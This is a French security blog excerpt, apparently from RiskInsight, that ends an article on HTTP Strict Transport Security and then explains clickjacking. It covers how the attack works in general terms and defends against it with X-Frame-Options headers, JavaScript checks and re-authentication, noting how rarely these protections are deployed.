Cependant, d’autres menaces subsistent : on pense notamment aux fréquentes faiblesses dans le choix des protocoles et algorithmes de chiffrement. De plus, la problématique des autorités de certification, qui sont garantes des identités sur internet, reste ouverte, comme le rappellent les cas de Diginotar ou plus récemment de Turktrust.

La sécurisation des échanges sur internet reste une problématique qui requiert de l’expertise dans son implémentation, ainsi que des contrôles réguliers pour assurer la confidentialité et l’intégrité des données échangées vis-à-vis des nouvelles menaces.

Cet article HTTP Strict Transport Policy, une avancée dans la sécurisation des échanges sur Internet ? est apparu en premier sur RiskInsight.

Comment se fait-on clickjacker ?

Pour mener une attaque par clickjacking, un attaquant va procéder de la manière suivante :

1- Il identifie sa cible, une page non-protégée contre ce type d’attaque, qui permet de réaliser une action en cliquant sur un lien ou un bouton.

2- Il intègre cette page dans une page malveillante qu’il maîtrise

3- Il s’arrange pour que, lorsque la victime clique sur un élément de la page, elle clique en réalité sur un bouton ou un lien provenant du site vulnérable

Par exemple, il peut utiliser les propriétés de style offerte par HTML/CSS pour rendre transparente la page vulnérable. Dans l’exemple ci-dessus, l’utilisateur verra le bouton « Jouer ! » mais cliquera en réalité sur le « Bouton 1 », provenant d’un site différent !

Les exemples les plus fréquents d’attaque par clickjacking sont les “likejacking” et “tweetbomb”. La première, ciblant le réseau social, a pour objectif de faire « liker » une page, c’est-à-dire d’augmenter sa popularité. La seconde vise à diffuser sur Twitter un message, la plupart du temps publicitaire.

Les risques se limitent-ils aux réseaux sociaux ?

Mais non ! Il est important de noter que les enjeux liés à ce type d’attaques ne s’arrêtent pas à la pollution de réseaux sociaux. De même que les attaques par rejeu de requête (XSRF),  les attaques par clickjacking permettent d’exécuter des actions à l’insu de la victime.

Il est donc tout à fait imaginable d’employer ce type d’attaque afin, par exemple, d’ajouter des articles dans le panier des clients d’un site de e-commerce. Pour cela, il suffirait à l’attaquant de reprendre le scénario précédent, mais de remplacer les boutons « like » de Facebook par le bouton « Ajouter au panier » du site e-commerce. L’attaquant pourrait augmenter grandement les ventes de son produit !

 Comment se protéger efficacement ?

La protection contre ce type d’attaques est à considérer du double point de vue de l’utilisateur et du responsable du site internet qui sert – involontairement – de support à l’attaque. La protection idéale nécessite donc sensibilisation et moyens techniques.

Pour les utilisateurs finaux en effet, se protéger implique d’avoir conscience du risque et de faire preuve de vigilance en surveillant ses fréquentations sur le web ! Il convient de rester méfiant à l’égard des liens commerciaux et des jeux ou concours qui promettent monts et merveilles.

Pour les équipes en charge de la sécurité des applications web, deux éléments sont à considérer pour mitiger le risque lié au clickjacking : l’utilisation d’en-têtes http spécifiques, et l’emploi de protections en JavaScript.

 Utiliser les en-têtes http appropriés pour se protéger

Il est d’une part possible d’utiliser l’en-tête http « X-FRAME-OPTIONS », qui va indiquer au navigateur à quelles conditions le contenu du site peut être intégré dans une iframe. Il est possible de lui spécifier trois valeurs :

• « DENY », qui va interdire l’inclusion de la page ;
• « SAMEORIGIN », qui va autoriser uniquement les sites du même domaine à inclure la page ;
• « ALLOW-FROM », qui permet de spécifier le ou les domaines autorisés à inclure la page.

Utiliser JavaScript pour s’assurer que ses pages ne sont pas dissimulées

En complément, il est possible d’utiliser du code JavaScript pour se protéger. Pour cela, ces codes vont par exemple s’assurer que la page est bien au niveau supérieur et qu’elle sera visible. Il faut néanmoins reconnaître qu’aucun de ces codes n’est totalement fiable.

Pour des informations détaillées sur les implémentations de ces protections, le site de l’OWASP propose une page dédiée à ce sujet.

La réauthentification, meilleure arme de protection pour les actions sensibles

La solution la plus efficace reste de ré-authentifier l’utilisateur pour les actions sensibles, par exemple en lui redemandant son mot de passe ou en utilisant un second facteur d’authentification, comme cela est l’usage sur les sites de banque en ligne.

Ces protections sont-elles couramment déployées ?

En un mot : non. Malheureusement, ce type d’attaque n’est toujours pas, 4 ans après leur découverte, pris au sérieux par la plupart des développeurs / testeurs / équipes de sécurité, sans doute car elles n’ont pour l’instant pas été exploitées à grande échelle en dehors des réseaux sociaux.

Selon un article publié récemment sur le blog de Qualys, les protections standards décrites ci-dessus ne sont ainsi pas encore déployées systématiquement : près de 70% des 20 sites bancaires les plus fréquentés n’implémentent pas de protection efficace contre ce type d’attaque.

Il est fort à parier que l’emploi de ce type d’attaque va augmenter et se diversifier à l’avenir.  En effet, les mesures de protection contre les attaques par rejeu de requête (XSRF) se généralisant, notamment par leur intégration dans les frameworks de développement, les attaquants se tourneront mécaniquement vers d’autres vulnérabilités, dont le clickjacking. Anticiper dès à présent  reste le moyen le plus sûr d’éviter d’en être la victime.

Cet article Clickjacking, mais qui a volé ma souris ? est apparu en premier sur RiskInsight.